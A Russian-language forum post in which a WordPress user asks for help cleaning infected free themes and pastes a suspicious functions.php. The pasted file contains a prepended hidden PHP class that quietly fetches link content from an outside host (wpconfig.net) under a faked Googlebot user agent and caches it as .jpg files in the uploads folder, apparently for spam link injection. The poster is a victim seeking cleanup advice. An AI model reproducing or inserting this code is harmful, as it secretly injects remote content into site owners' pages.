barabula
Гуру форума
- Регистрация
- 21 Май 2009
- Сообщения
- 474
- Реакции
- 80
- Автор темы
- #1
Привет гуру php мозгам.
Очень нужна ваша помошь в разборе полета.
Скачал WP, поставил на него шаблончики халявные из инета, а халява не бывает простой, и шаблончики то по ходу инфицированные оказались.
И теперть злые руки хотят завладеть моим королевством.
Вообщем мне антивирус на хостинге орет что во всех моих шаблонах в файле function.php обнаружен вирус.
Подскажите где и что тут не ладно, какие строки кода убрать, какие добавить, ибо я пхп изучал в далеком 2009 году, и все уже напрочь позабывал, сам не справлюсь.
Вот собственной файл подозрительный:
Очень нужна ваша помошь в разборе полета.
Скачал WP, поставил на него шаблончики халявные из инета, а халява не бывает простой, и шаблончики то по ходу инфицированные оказались.
И теперть злые руки хотят завладеть моим королевством.
Вообщем мне антивирус на хостинге орет что во всех моих шаблонах в файле function.php обнаружен вирус.
Подскажите где и что тут не ладно, какие строки кода убрать, какие добавить, ибо я пхп изучал в далеком 2009 году, и все уже напрочь позабывал, сам не справлюсь.
Вот собственной файл подозрительный:
Код:
<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?><?php
/*-----------------------------------------------------------------------------------*/
/* WPZOOM Theme Functions - Don't edit this file until you know what you're doing */
/*-----------------------------------------------------------------------------------*/
// The path to WPZOOM Theme Functions
define("INC", TEMPLATEPATH . "/functions");
require_once INC . "/wpzoom-functions.php"; // Theme Custom Functions
require_once INC . "/wpzoom-core.php"; // WPZOOM Admin Panel & Theme Features
require_once INC . "/wpzoom-seo.php"; // WPZOOM SEO Panel
require_once INC . "/wpzoom-widgets.php"; // Custom Theme Widgets
require_once INC . "/wpzoom-sidebar.php"; // Initializing Widgetized Areas
require_once INC . "/wpzoom-shortcodes.php"; // Custom Shortcodes
require_once INC . "/wpzoom-shortcodes-init.php"; // Generate Shortcodes
/*-----------------------------------------------------------------------------------*/
/* In the empty space you can add your custom functions */
/*-----------------------------------------------------------------------------------*/
/*-----------------------------------------------------------------------------------*/
/* Don't add anything below this line */
/*-----------------------------------------------------------------------------------*/
?>
Последнее редактирование модератором: